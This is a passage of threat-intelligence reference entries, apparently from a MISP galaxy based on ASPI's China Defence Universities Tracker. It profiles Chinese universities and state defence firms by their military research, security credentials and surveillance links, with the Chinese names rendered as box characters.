Out of all universities subordinate to the MOE, CSU reportedly receives the most military research funding and was the first to receive a weapons production license. In 2008 and 2011 respectively, the defence industry agency SASTIND and the Ministry of Education (MOE) signed agreements to jointly supervise CSU. Under this arrangement, SASTIND committed to expanding CSU's involvement in defence research and support the development of its School of Aeronautics and Astronautics and Military Industry Technology Research Institute.CSU's defence research appears to focus on metallurgy, materials science, and aviation technology, including the development of heat-resistant materials for aeroplane and rocket engines. The university has been involved in the development of China's first atomic bomb, first intermediate-range ballistic missile, and first nuclear submarine. In 2018, it signed a strategic cooperation agreement with the Chinese Academy of Launch Vehicle Technology, a subsidiary of China Aerospace Science and Technology Corporation that is included on the US BIS Entity List for its involvement in developing rockets.

The tag is: *misp-galaxy:china-defence-universities="Central South University (□□□□)"*

Table 865. Table References

Links
https://unitracker.aspi.org.au/universities/central-south-university

Changchun University of Science and Technology (□□□□□□□)

CUST is primarily supervised by the Jilin Provincial Government but has also been under the administration of SASTIND and its predecessors for over 30 years over its history. The university specialises in photoelectric technology and has a strong focus on defence research. CUST describes itself as having 'safeguarding national defence as its sublime responsibility and sacred mission.'CUST is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□), a group of eight Chinese research institutions that specialize in armaments science—the 'B' in 'B8' stands for Chinese work for armaments, bingqi (□□). In April 2018, CUST established the School of Artificial Intelligence (□□□□□□) and the Artificial Intelligence Research Institute (□□□□□□□). CUST researchers working on AI are likely involved in research related to facial recognition technology.

The tag is: *misp-galaxy:china-defence-universities="Changchun University of Science and Technology*

(□□□□□□)"

Table 866. Table References

Links
https://unitracker.aspi.org.au/universities/changchun-university-of-science-and-technology

China Aerodynamics Research and Development Center (□□□□□□□□□□□□□□)

CARDC claims to be China's largest aerodynamics research and testing base. It hosts the State Key Laboratory of Aerodynamics (□□□□□□□□□□□□), which includes five wind tunnels and a large computer cluster. CARDC is heavily involved in research on hypersonics.While CARDC is a military unit, its website does not mention this. The PLA officers leading the facility are instead pictured on its website in civilian clothes(pictured: CARDC director, Major General Fan Zhaolin (□□□) in uniform (above) and in civilian attire on CARDC's website (below).

The tag is: *misp-galaxy:china-defence-universities="China Aerodynamics Research and Development Center (□□□□□□□□□□□□□□)"*

Table 867. Table References

Links
https://unitracker.aspi.org.au/universities/china-aerodynamics-research-and-development-center

China Aerospace Science and Industry Corporation (□□□□□□□□□□□□□)

CASIC specialises in defence equipment and aerospace products, particularly short- and medium-range missiles. CASIC is a leading provider to the Chinese military of high-end capabilities such as air-defence, cruise, and ballistic missile systems along with space launch vehicles, micro-satellites and anti-satellite interceptors, according to Mark Stokes and Dean Cheng. CASIC employs over 146,000 employees and is on the Fortune 500 list with revenue exceeding USD37 billion (AUD55 billion).Although defence products form part of CASIC's main product line, the company also produces products for civilian customers such as electronics, communications equipment and medical equipment. Nevertheless, CASIC claims that it 'will always uphold its core value of ranking national interests above all', which indicates that civilian products receive less priority than defence equipment.

The tag is: *misp-galaxy:china-defence-universities="China Aerospace Science and Industry Corporation (□□□□□□□□□□□□□)"*

Table 868. Table References

Links
https://unitracker.aspi.org.au/universities/china-aerospace-science-and-industry-corporation

China Aerospace Science and Technology Corporation (□□□□□□□□)

CASC was established in 1999 as a defence aerospace conglomerate. The company is primarily focused on ‘developing carrier rockets, various kinds of satellites, … and tactical missile systems.’ With revenues nearing USD38 billion (AUD55 billion), CASC employs nearly 180,000 personnel and is on the Fortune 500 list.PLA experts Mark Stokes and Dean Cheng have noted that CASC’s main products for the PLA include ‘ballistic missiles and space launch vehicles, large solid rocket motors, liquid fuelled engines, satellites, and related sub-assemblies and components.’ The Federation of American Scientists claims CASC is particularly advanced in high-energy propellant technology, satellite applications, strap-on boosters and system integration.CASC maintains an investment business which may be geared towards civilian purposes, according to Bloomberg. The Federation of American Scientists notes that some civilian product lines for CASC include ‘machinery, chemicals, communications equipment, transportation equipment, computers, medical care products and environmental protection equipment.’CASC oversees multiple research academies, which have been separately identified by Mark Stokes and Dean Cheng and by the Nuclear Threat Initiative.The Nuclear Threat Initiative has identified that CASC has the following subordinate companies:

The tag is: *misp-galaxy:china-defence-universities="China Aerospace Science and Technology Corporation (□□□□□□□□)"*

Table 869. Table References

Links
https://unitracker.aspi.org.au/universities/china-aerospace-science-and-technology-corporation

China Coast Guard Academy (□□□□□□□□□□□□□□)

The China Coast Guard Academy is an institution of higher learning that trains personnel for entry into China’s maritime border defence agency. The academy teaches conducts research and training in maritime law enforcement, warship technology as well as surveillance and intelligence disciplines.The China Coast Guard Academy established the Large Surface Vessel Operation and Simulation Laboratory (□□□□□□□□□□□) in 2016, which focuses on the development of white-hulled boats for the China Coast Guard.

The tag is: *misp-galaxy:china-defence-universities="China Coast Guard Academy (□□□□□□□□□□□□□□)"*

Table 870. Table References

Links
https://unitracker.aspi.org.au/universities/china-coast-guard-academy

China Electronics Corporation (□□□□□□□□□□□□□□)

CEC is a state-owned conglomerate that produces dual-use electronics. The company was established in 1989 to produce semi-conductors, electronic components, software and

telecommunications products. The company describes itself as a defence industry conglomerate.CEC is one of China's largest companies with nearly 120 thousand employees. CEC claims to hold 22 subordinate enterprises and 14 listed companies. Global Security has provided a list of CEC's 36 member companies in English.CEC is divided into two operational groups. First is the China Electronics Party Institute (□□□□□□), which provides disciplinary oversight and organises communist party activities within CEC. Second is the Science and Technology Committee (□□□□□□□), which is responsible for research and development within CEC.CEC's defence electronics are developed by the Military Engineering Department (□□□) within CEC's Science and Technology Committee. Key defence electronics produced by CEC include tracking stations, radar technology, as well as command and control systems. The company maintains its own office for the management of classified information related to defence research. The Federation of American Scientists has identified CEC's defence-related enterprises on a list that can be found here.

The tag is: *misp-galaxy:china-defence-universities="China Electronics Corporation (□□□□□□□□□□□□□□)"*

Table 871. Table References

Links
https://unitracker.aspi.org.au/universities/china-electronics-corporation

China Electronics Technology Group Corporation (□□□□□□□□□□□)

CETC is a state-owned defence conglomerate that specialises in dual-use electronics. The company was established in 2002 by bringing dozens of research institutes administered by the Ministry of Information Industry, the predecessor to the Ministry of Industry and Information Technology, under one umbrella.CETC is one of the world's largest defence companies. It claims to have 523 subordinate units and companies and 160,000 employees.CETC divides its defence electronics products into seven categories: air base early warning, integrated electronic information systems, radar, communication and navigation, electronic warfare, UAVs and integrated IFF (identification, friend or foe). CETC also provides technology used for human rights abuses in Xinjiang, where approximately 1.5m are held in re-education camps.Several CETC research institutes and subsidiaries have been added to the US Government's entity list, restricting exports to them on national security grounds. CETC has been implicated by the US Department of Justice in at least three cases of illegal exports.CETC has a large international market and has also expanded its international research collaboration in recent years. It has a European headquarters in Graz, Austria, and has invested in the University of Technology Sydney.

The tag is: *misp-galaxy:china-defence-universities="China Electronics Technology Group Corporation (□□□□□□□□□□□)"*

Table 872. Table References

Links
https://unitracker.aspi.org.au/universities/china-electronics-technology-group-corporation

China National Nuclear Corporation (□□□□□□□□□□□□)

CNCC is the leading state-owned enterprise for China's civilian and military nuclear programs. It consists of more than 200 subordinate enterprises and research institutes, many of which are listed on the Nuclear Threat Initiative website. In 2018, CNNC took over China's main nuclear construction company, China Nuclear Engineering and Construction Group (□□□□□□□□□).The company is organized into eight industrial sectors, including nuclear power, nuclear power generation, nuclear fuel, natural uranium, nuclear environmental protection, application of nuclear technologies, non-nuclear civilian products and new energy sources. CNNC is mainly engaged in research and development, design, construction and production operations in the fields of nuclear power, nuclear fuel cycle, nuclear technology application, and nuclear environmental protection engineering.Because of the dual-use nature of nuclear technologies, the nuclear industry is a typical military-civil fusion industry. Naval nuclear power technology and nuclear reactor technology in the reactor core, fuel assembly, safety and security, and radioactive waste treatment all use the same or very similar processes. In March 2019, CNNC established an military-civil fusion fund dedicated to dual-use nuclear technology research and design.Two CNNC subsidiaries have been added to the US Government's Entity List, restricting exports to them on national security grounds.CNNC has cooperated with U.S. Westinghouse Electric to construct AP1000 nuclear power plants. The company also has a significant overseas presence, signing agreements for joint research with U.S., French, Canadian, U.K., Russian and Argentinian companies.

The tag is: *misp-galaxy:china-defence-universities="China National Nuclear Corporation (□□□□□□□□□□□□)"*

Table 873. Table References

Links
https://unitracker.aspi.org.au/universities/china-national-nuclear-corporation

China North Industries Group (□□□□□□□□□□□)

Norinco Group was established in 1999 as a state-owned defence conglomerate devoted to the development and production of armaments for Chinese and foreign defence customers. Its main defence products include artillery and tear gas, air defence and anti-missile systems, anti-tank missiles and precision-guided munitions as well as armoured vehicles such as main battle tanks and infantry combat vehicles. Bloomberg reports that Norinco Group's civilian products include various engineering services and heavy-duty construction equipment. Norinco Group employs over 210,000 personnel, has revenues exceeding US$68.8 billion and is listed on the Fortune 500.Norinco Group has hundreds of subsidiaries and subordinate research institutes in China and around the world that have been catalogued by the International Peace Information Service and Omega Research Foundation in their working paper on the company and on Norinco Group's website.Norinco Group's Institute of Computer Application Technology (□□□□□□□□□□□□□□□□) was one of the first adopters of internet technology and remains a leading company for research into network security. The institute hosts four internet research centres and is reported to work with the National Administration for State Secrets Protection (□□□□□) on the Information Security and Testing and Evaluation Centre (□□□□□□□□□□□□□□□).

The tag is: *misp-galaxy:china-defence-universities="China North Industries Group (□□□□□□□□□□□)"*

Table 874. Table References

Links
https://unitracker.aspi.org.au/universities/china-north-industries-group

China People’s Police University (□□□□□□□□)

The China People’s Police University is an institution of higher learning devoted to training active duty police officers and firefighters in command and management as well as specialist technical officers. The curriculum is separated into two main streams, one for police officers and the other for firefighters. Its police disciplines include immigrant management, entry-exit and border control management, security intelligence, cyber-security, and political work. Its firefighting disciplines include firefighting engineering, electronic information engineering, and nuclear and biochemical fire control.Research facilities at the university include:

The tag is: *misp-galaxy:china-defence-universities="China People’s Police University (□□□□□□□□)"*

Table 875. Table References

Links
https://unitracker.aspi.org.au/universities/china-peoples-police-university

China Shipbuilding Industry Corporation (□□□□□□□□□□□□)

CSIC was established as one of China’s primary state-owned defence companies on 1 July 1999. CSIC is the PLA Navy’s largest supplier of weapons platforms, accounting for nearly 80 per cent of all armaments. CSIC’s signature products include conventional and nuclear submarines, warships and torpedoes, as well as the Liaoning aircraft carrier program.CSIC maintains a civilian shipbuilding program alongside its program of supplying the PLA Navy. CSIC’s civilian work includes the production of oil and chemical tankers, container ships, bulk carriers and engineering ships.On 2 July 2019, it was announced that CSIC and the China State Shipbuilding Corporation would merge. According to Janes Defence Weekly, ‘the two groups, which have combined assets of about USD120 billion and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.’ Nikkei has listed some of CSIC’s main subsidiaries here.

The tag is: *misp-galaxy:china-defence-universities="China Shipbuilding Industry Corporation (□□□□□□□□□□□□)"*

Table 876. Table References

Links
https://unitracker.aspi.org.au/universities/china-shipbuilding-industry-corporation

China South Industries Group (□□□□□□□□□□□□)

CSGC is a leading producer of armaments for the People’s Liberation Army. It was founded in 1999

and works on technologies such as advanced munitions, mobile assault weapons, lights armaments, information optoelectronics and counter-terrorism equipment. CSGC also maintains civilian product lines focused on the oil and energy sector, but most of the company's attention goes to developing armaments. The company employs nearly 200,000 personnel, its revenue approaches USD34 billion (AUD50 billion) and it is listed as a Fortune 500 company.CSGC holds a controlling share in more than 60 subsidiaries. 32 of these are listed on the company's website.

The tag is: *misp-galaxy:china-defence-universities="China South Industries Group (□□□□□□□□□□□□)"*

Table 877. Table References

Links
https://unitracker.aspi.org.au/universities/china-south-industries-group

China State Shipbuilding Corporation (□□□□□□□□□□□□)

CSCC was established as one China's primary state-owned weapons companies on 1 July 1999 to build ships for military and civilian customers. CSSC markets itself as as the 'backbone' of the Chinese navy and its core products include a variety of warships and support vessels. Alongside its program supporting the PLA Navy, Bloomberg notes that CSSC 'produces oil tankers, bulk carriers, conditioner vessels, deepwater survey ships, and marine equipment.'On 2 July 2019, it was announced that the China Shipbuilding Industry Corporation and the CSSC would merge. According to Jane's Defence Weekly, 'the two groups, which have combined assets of about USD120 billion (AUD178 billion) and employ 240,000 people, dominate naval shipbuilding in China and between them operate 160 subsidiaries.'

The tag is: *misp-galaxy:china-defence-universities="China State Shipbuilding Corporation (□□□□□□□□□□□□)"*

Table 878. Table References

Links
https://unitracker.aspi.org.au/universities/china-state-shipbuilding-corporation

China University of Geosciences (Wuhan) (□□□□□□)

CUG is subordinate to the Ministry of Education and also supervised by China's Ministry of Land and Resources. It is actively engaged in defence research and training on geology, hosting the defence-focused Ministry of Education Key Laboratory on Geological Exploration and Evaluation. The laboratory was established in 2018, has 56 staff, and trains students in 'military geology'.CUG gained secret-level security credentials in 2009, enabling it to participate in classified defence projects.

The tag is: *misp-galaxy:china-defence-universities="China University of Geosciences (Wuhan) (□□□□□□)"*

Table 879. Table References

Links

https://unitracker.aspi.org.au/universities/china-university-of-geosciences-wuhan

China University of Mining and Technology (□□□□□□)

CUMT is subordinate to the Ministry of Education and specialises in engineering and other mining and industry-related disciplines. It engages in low levels of defence research.CUMT's defence research revolves around manufacturing and design, materials science, control science, electronic components, power and energy, and bionics. It appears to be involved in the construction and design of underground bunkers for the military. The academic committee of its State Key Laboratory for Geomechanics and Deep Underground Engineering (□□□□□□□□□□□□□□□□□□□□) is headed by PLA underground engineering expert Qian Qihu (□□□).

The tag is: *misp-galaxy:china-defence-universities="China University of Mining and Technology (□□□□□□)"*

Table 880. Table References

Links
https://unitracker.aspi.org.au/universities/china-university-of-mining-and-technology

Chinese Academy of Engineering Physics (□□□□□□□□□□)

CAEP was founded in 1958 and now has over 24,000 employees. It is headquartered in Mianyang, Sichuan Province, but also has facilities in Chengdu and Beijing. Notably, Mianyang is home to a military-civil fusion (MCF) demonstration base—the Sichuan Mianyang High-Technology City. Sichuan Military District Commander Jiang Yongshen (□□□) in 2016 stressed the important role that Mianyang plays in China's larger science and technology development and the significance of its military-civil fusion (MCF) demonstration base.The academy is best known for nuclear weapons, but also carries out research on directed-energy weapons. CAEP's four main tasks are to develop nuclear weapons, research microwaves and lasers for nuclear fusion ignition and directed-energy weapons, study technologies related to conventional weapons, and deepen military-civil fusion. It claims that its research covers 260 specialising, primarily in the broad areas of physics and mathematics, mechanics and engineering, materials and chemistry, electronics and information, and optics and electrical engineering.CAEP hosts part of the Tianhe-2 supercomputer, one of the worlds fastest supercomputers.Despite the sensitivity of its work, CAEP has expanded its international presence in recent years. It claims to send hundreds of scientists overseas to study or work as visiting scholars. CAEP has also used Chinese government talent recruitment schemes such as the Thousand Talents Plan to recruit dozens of scientists from abroad. By 2015, CAEP had recruited 57 scholars through the Thousand Talents Plan, making it one of the largest recruiters of Thousand Talents Plan scholars.CAEP maintains strong collaborative relationships with Chinese civilian universities. It runs a joint laboratory with the University of Electronic Science and Technology of China and collaborates with universities and research institutions including the Chinese Academy of Sciences, the University of Science and Technology of China, Shandong University, Southwest University of Science and Technology, Sichuan University, Jilin University, Peking University and Tsinghua University. CAEP sponsors postgraduate students in many of these institutions who are required to work there for five years after graduating.

The tag is: *misp-galaxy:china-defence-universities="Chinese Academy of Engineering Physics (□□□□□□□□□)"*

Table 881. Table References

Links
https://unitracker.aspi.org.au/universities/chinese-academy-of-engineering-physics

Chongqing University (□□□□)

CQU is a leading Chinese research institution subordinate to the Ministry of Education. Chongqing University is home to at least two laboratories devoted to defence research on nanotechnology and control systems. An institution accredited to conduct classified research, Chongqing University is active in improving its security culture with respect to the safeguarding of official secrets.In December 2016, the Ministry of Education entered an agreement with defence industry agency SASTIND to advance military-civil fusion at Chongqing University. Following this agreement, Chongqing University established the defence-focused Ministry of Education Key Laboratory for Complex Systems Safety and Autonomous Control, which works on control systems engineering in May 2018.

The tag is: *misp-galaxy:china-defence-universities="Chongqing University (□□□□)"*

Table 882. Table References

Links
https://unitracker.aspi.org.au/universities/chongqing-university

Chongqing University of Posts and Telecommunications (□□□□□□)

CQUPT is involved in research on wireless network engineering and testing, next-generation wideband wireless communication, computer networking and information security, intelligent information processing, advanced manufacturing, micro-electronics and specialized chip design. It ranks among the top 100 universities in China for science and technology.The university is supervised by the Ministry of Industry and Information Technology and the Chongqing Municipal Government. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Chongqing University of Posts and Telecommunications (□□□□□□)"*

Table 883. Table References

Links
https://unitracker.aspi.org.au/universities/chongqing-university-of-posts-and-telecommunications

Chongqing University of Technology (□□□□□□)

CQUT is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (□□). However its involvement in defence research does not appear as expansive as the other B8 members and it is a relatively low-ranked university. In 2017, its president stated that ‘Chongqing is an important site for the weapons industry, but its military-industrial research and development ability has not yet upgraded.’ Unlike the other members of the B8, SASTIND does not appear to supervise the university.The university has links to Norinco Group and China South Industries Group, China’s largest weapons manufacturers, and was under the supervision of the conglomerates’ predecessor, China Ordnance Industry Corporation, until 1999. In 2017 and 2018, it signed a partnerships with four local defence companies to collaborate on research and training.In 2011, CQUT received secret-level security credentials, enabling it to participate in classified defence projects.

The tag is: *misp-galaxy:china-defence-universities="Chongqing University of Technology (□□□□□□)"*

Table 884. Table References

Links
https://unitracker.aspi.org.au/universities/chongqing-university-of-technology

Commercial Aircraft Corporation of China (□□□□□□□□□□□□)

COMAC was established in 2008 as a state-owned manufacturer of large commercial aircraft. The company oversees eleven subsidiaries that focus on various aspects of aircraft production. A list of COMAC’s subordinate companies can be found in English on the company’s website.Despite its focus on commercial aircraft, China’s Ministry of Industry and Information Technology has referred to it as a defence industry conglomerate. The company maintains strong links to China’s defence industry and some of its leadership is drawn from former executives at state-owned military aircraft and missile manufacturers. China’s leading producer of military aircraft, the Aviation Industry Corporation of China (AVIC), also holds a 10 per cent share in COMAC. COMAC supports the continued development of China’s defence industry by awarding ‘national defence technology scholarships’ to Chinese university students.COMAC’s signature passenger aircraft, the C919, offers an example of how the company could use its civilian aircraft production for military purposes. Numerous Chinese analysts have studied Boeing’s conversion of the 737 into the P-8 Poseidon and E-7A surveillance aircraft and argue that the C919 could also be retrofitted for early warning as well as anti-surface and anti-submarine warfare missions. With a greater flight range than China’s other military aircraft, a retrofitted C919 for maritime surveillance operations could reduce China’s dependence on artificial air bases in the South China Sea which currently render aircraft vulnerable to corrosion due to harsh weather conditions. Vice-Chairman of the Central Military Commission, Zhang Youxia, reportedly expressed an interest in learning from American companies in converting civilian aircraft into military aircraft while inspecting COMAC’s C919.

The tag is: *misp-galaxy:china-defence-universities="Commercial Aircraft Corporation of China (□□□□□□□□□□□□)"*

Table 885. Table References

Links
https://unitracker.aspi.org.au/universities/commercial-aircraft-corporation-of-china

Criminal Investigation Police University of China (□□□□□□□□□)

CIPUS was founded in May 1948 and underwent several name changes, but was upgraded in 1981 to become the first police university offering a specialised undergraduate degree program. It runs a national engineering laboratory, two MPS key laboratories, and provincial key laboratories. It is focused on training in criminal investigation, criminology science and technology and criminal law.The university also has relationships with companies that provide the technological tools that contribute to the PRC's public security apparatus. For instance, it has a relationship with the company Haiyun Data on public security intelligence. Haiyun provides data visualization services for MPS bureaus across China.

The tag is: *misp-galaxy:china-defence-universities="Criminal Investigation Police University of China (□□□□□□□□□)"*

Table 886. Table References

Links
https://unitracker.aspi.org.au/universities/criminal-investigation-police-university-of-china

Dalian Minzu University (□□□□□□)

DLMU was established in 1984 as an institution that researches China's ethnic minorities. The university is overseen by the State Ethnic Affairs Commission (SEAC), the Liaoning Provincial Government and the Dalian Municipal Government.Scientific disciplines taught by DLMU include communications and information engineering, machine engineering, civil engineering and environmental science. DLMU also researches political thought and minority groups of northeast China.DLMU currently hosts the Dalian Key Lab of Digital Technology for National Culture (□□□□□□□□□□□□□□□□). Researchers at laboratory carry out research on facial recognition of ethnic minorities. The laboratory has collaborated with an academic from Curtin University on research related to the facial recognition of Tibetans, Koreans and Uyghurs—over one million of whom have disappeared into re-education camps. DLMU researchers are working on a database of facial and optical movements across different ethnic groups.DLMU also hosts the State Ethnic Affairs Commission Key Laboratory of Intelligent Perception and Advanced Control (□□□□□□□□□□□□□□□□□□), housed within the university's College of Electromechanical Engineering (□□□□□□). The laboratory has done work on convolutional neural networks for visual image recognition, which could have applications for surveillance technology.DLMU's party committee has an active United Front Work Department. The department supervises non-CCP members and students returning from overseas study. Management of religious and ethnic minorities are likely to be other priorities for the department.

The tag is: *misp-galaxy:china-defence-universities="Dalian Minzu University (□□□□□□)"*

Table 887. Table References

Links
https://unitracker.aspi.org.au/universities/dalian-minzu-university

Dalian Naval Academy (□□□□□□□□□□□□□□□□)

The Dalian Naval Academy is one of the main training colleges for junior officers and cadets in the PLA Navy. The academy focuses on maritime navigation technology, communications engineering, electronic information engineering, weapons systems engineering, surveying and control science.Scientists from the Dalian Naval Academy produce publications on a variety of defence topics, including:

The tag is: *misp-galaxy:china-defence-universities="Dalian Naval Academy (□□□□□□□□□□□□□□□□)"*

Table 888. Table References

Links
https://unitracker.aspi.org.au/universities/dalian-naval-academy

Dalian University of Technology (□□□□□□)

DLUT is directly under the administration of the Ministry of Education. In 2018, it came under the supervision of defence industry agency SASTIND as part of the government's efforts to deepen military-civil fusion in the university sector. In 2006, the university received secret-level security credentials, allowing it to participate in classified defence technology projects. Since then, it has expanded cooperation with the PLA Navy and joined several military-civil fusion innovation alliances.In 2015, the university established a defence laboratory in the School of Mechanical Engineering. The laboratory was proposed by a professor within the University's Institute of Science and Technology. The Institute of Science and Technology is primarily responsible for high-tech project management, where they manage projects for the 973 Program, the National Natural Science Foundation, and the Ministry of Education.

The tag is: *misp-galaxy:china-defence-universities="Dalian University of Technology (□□□□□□)"*

Table 889. Table References

Links
https://unitracker.aspi.org.au/universities/dalian-university-of-technology

Donghua University (□□□□)

DHU is subordinate to the Ministry of Education. It is actively involved in defence research on materials. It hosts the Key Laboratory of High Performance Fibers & Products, a defence-focused laboratory involved in materials science and textiles engineering research for China's defence industry and weapons systems. The laboratory is specifically involved in developing materials for weapons casings, vehicular armour, aviation and cabling. The university holds secret-level security credentials, allowing it to participate in classified defence research projects.DHU claims that much

of its research has been applied to fields such as defence technology and aviation, and contributed towards China's space program and Beidou satellite navigation system. In 2018, the university signed a strategic cooperation agreement with the state-owned Jihua Group (□□□□) for collaboration on textiles to meet the military's needs.

The tag is: *misp-galaxy:china-defence-universities="Donghua University (□□□□)"*

Table 890. Table References

Links
https://unitracker.aspi.org.au/universities/donghua-university

East China University of Technology (□□□□□□)

ECUT was founded in 1956 as the first institution of higher education for China's nuclear industry. Since 2001, it has been subject to four 'joint construction' agreements between the Jiangxi Provincial Government and defence industry agency SASTIND or its predecessor COSTIND. These agreements are designed to develop the university's involvement in defense-related research and training. The Ministry of Natural Resources and defence conglomerate China National Nuclear Corporation are also involved in supervising and supporting ECUT.ECUT carries out defence research related to nuclear science and hosts a defence laboratory on radioactive geology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects. In 2006, the East China University of Technology National Defence Technology Institute (□□□□□□□□□□□□) was established.

The tag is: *misp-galaxy:china-defence-universities="East China University of Technology (□□□□□□)"*

Table 891. Table References

Links
https://unitracker.aspi.org.au/universities/east-china-university-of-technology

Engineering University of the CAPF (□□□□□□□□□□□□□□□)

The Engineering University of the CAPF is an institution devoted to training personnel in China's paramilitary service, the People's Armed Police, in command and engineering disciplines. The university focuses on paramilitary information engineering, paramilitary equipment technology, non-lethal weapons, military communications and mathematical cryptography. Students of the university can select majors from disciplines such as communications engineering, information security, military big data engineering, management science and engineering, and mechanical engineering.The Engineering University of the CAPF hosts the Key Military Laboratory for Non-Lethal Weapons (□□□□□□□□□□□□□), the Big Data and Cloud Computing Laboratory (□□□□□□□□□□□), and the Command Automation Training Centre (□□□□□□□□□), indicating expertise in these areas.The Engineering University of the CAPF has collaborated significantly with a Beijing-based company called SimpleEdu (□□□□□□□□□□□□□□□□), focusing primarily on social media and internet research. Below is a list of initiatives with which the Engineering University of the CAPF has collaborated:

The tag is: *misp-galaxy:china-defence-universities="Engineering University of the CAPF (□□□□□□□□□□□□□□□)"*

Table 892. Table References

Links
https://unitracker.aspi.org.au/universities/engineering-university-of-the-capf

Fudan University (□□□□)

Fudan University is among China's best universities. It was ranked 104th in the world by Times Higher Education in 2019. The university appears to engage high levels of work for the military on materials science, including stealth technology.All defence-related projects and matters in Fudan are managed by the university's Institute of Special Materials and Technology (□□□□□□□□□□□□□) and Defence Industry Secrets Committee (□□□□□□□□□□□□). The Institute of Special Materials and Technology specialises in defence research and works on simulations, precision manufacturing, and materials. Professor Ye Mingxin, the institute's director, is also an advisor to the PLA and defence companies on materials science. Fudan University's Materials Science Department includes one professor who is described as specifically being a 'defence system professor', which may refer to Professor Ye. In 2011, Fudan established a State Secrets Academy (□□□□□□), in partnership with China's National Administration of State Secrets Protection (□□□□□). The institute carries out research and training on the protection of state secrets.

The tag is: *misp-galaxy:china-defence-universities="Fudan University (□□□□)"*

Table 893. Table References

Links
https://unitracker.aspi.org.au/universities/fudan-university

Fuzhou University (□□□□)

Fuzhou University is overseen by the Fujian Provincial Government and a focus on engineering disciplines. It does not appear to engage in significant levels of defence research. However, the Fuzhou University Military-Civil Fusion Innovation Research Institute (□□□□□□□□□□□□□) was jointly established in 2016 by Fuzhou University along with a number defence companies and military research institutions under the guidance of Fujian Provincial Government's National Defence Industry Office (□□□□□□). Furthermore, the Fujian Provincial People's Government and SASTIND entered an agreement to jointly develop the university as part of China's military-civil fusion initiative in 2018. This indicates that the university will expand its involvement in defence research. The university has held second-class weapons R&D secrecy credentials since 2006.

The tag is: *misp-galaxy:china-defence-universities="Fuzhou University (□□□□)"*

Table 894. Table References

Links
https://unitracker.aspi.org.au/universities/fuzhou-university

Guilin University of Electronic Science and Technology (□□□□□□□□)

GUET specialises in electronics, communications and computer science. It engages in growing levels of defence research, indicated by the decision to place it under the joint administration of the defence industry agency SASTIND and the Guangxi Provincial Government in 2018.The PLA describes GUET as ‘Guangxi Province’s only university to have long carried out defence research.’ Areas of defence research at the university include communications technology, materials science, signals processing, microwaves, satellite navigation, and command and control. Since 2007, the university has held secret-level security credentials, enabling it to participate in classified weapons and defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Guilin University of Electronic Science and Technology (□□□□□□□□)"*

Table 895. Table References

Links
https://unitracker.aspi.org.au/universities/guilin-university-of-electronic-science-and-technology

Hangzhou Dianzi University (□□□□□□□□)

HDU specialises in information technology and has been jointly supervised by the Zhejiang Provincial Government and defence industry agency SASTIND since 2007. The university is Zhejiang Province’s only provincial-level higher education institution to have officially designated national defence disciplines.HDU’s leadership is closely integrated with its defence research. Since its creation in 2008, the university’s main defence laboratory has been run by Xue Anke, who was the university’s president until 2017. While president, Xue served on an expert advisory committee to the PLA on information technology. He is also a member of the Zhejiang Provincial Expert Committee on Artificial Intelligence Development.Key areas of defence research at HDU include electronics, artificial intelligence, military-use software, and communications and information systems. HDU has been expanding its research on artificial intelligence, establishing a school of artificial intelligence and an artificial intelligence research institute in 2018.HDU holds secret-level security credentials, allowing it to undertake classified weapons and defence technology projects. In 2011, the Zhejiang State Secrets Bureau established a State Secrets Academy in HDU. The academy, one of twelve in the country, trains personnel in managing and protecting confidential information.

The tag is: *misp-galaxy:china-defence-universities="Hangzhou Dianzi University (□□□□□□□□)"*

Table 896. Table References

Links
https://unitracker.aspi.org.au/universities/hangzhou-dianzi-university

Hangzhou Normal University (□□□□□□)

Hangzhou Normal University is a Chinese university subordinate to the Zhejiang Provincial Government. The university was initially established in 1978 as Hangzhou Normal College (□□□□□□) to focus on teacher training, art education as well as research in the humanities and natural sciences. Hangzhou Normal University retains this broad academic focus and oversees faculties such as the Alibaba Business School (□□□□□□□).Hangzhou Normal University collaborates with China's MPS on the development of surveillance technology. In March 2019, the university entered into an agreement with the Zhejiang Police College, the Zhejiang Public Security Office, and Hikvision—China's leading producer of video surveillance technology—to establish a joint laboratory. The joint laboratory reportedly focuses on applying big data analysis, cloud computing and internet of things technology to improve China's policing capability.

The tag is: *misp-galaxy:china-defence-universities="Hangzhou Normal University (□□□□□□)"*

Table 897. Table References

Links
https://unitracker.aspi.org.au/universities/hangzhou-normal-university

Harbin Engineering University (□□□□□□□)

HEU is one of China's top defence research universities. The university is a leading centre of research and training on shipbuilding, naval armaments, maritime technology and nuclear power. 36.46% of the university's 2017 graduates who found employment were working in the defence sector.As one of the group of universities subordinate to the Ministry of Industry and Information Technology (MIIT) known as the 'Seven Sons of National Defence' (□□□□), HEU is an integral part of China's defence industry. HEU's achievements include producing China's first experimental submarine, ship-based computer, and hovercraft. The university claims to have participated in most of the PLA Navy's submarine, undersea weapon, and warship projects.HIT's role in the defence industry is highlighted by its formal affiliation with the PLA Navy, which became a supervising agency of the university in 2007. Under the supervisory agreement, the PLA Navy committed to developing HEU's capacity as a platform for research and development in military technology and for training defence personnel. The following year, HEU established a Defence Education Institute to train reserve officers. Since then, the institute has trained at least 1,700 officers. HEU also maintains a joint laboratory with the PLA Navy Coatings Analysis and Detection Center.HEU is an important hub research on nuclear engineering, including on nuclear submarines. In 2018, it signed a co-construction agreement with defence conglomerate China National Nuclear Corporation (CNNC). In 2019, HEU and CNNC established the China Nuclear Industry Safety and Simulation Technology Research Institute. HEU also runs a joint laboratory on energetic materials (such as explosives) with the Chinese Academy of Engineering Physics, China's nuclear warhead research organisation.

The tag is: *misp-galaxy:china-defence-universities="Harbin Engineering University (□□□□□□□)"*

Table 898. Table References

Links

https://unitracker.aspi.org.au/universities/harbin-engineering-university

Harbin Institute of Technology (□□□□□□□)

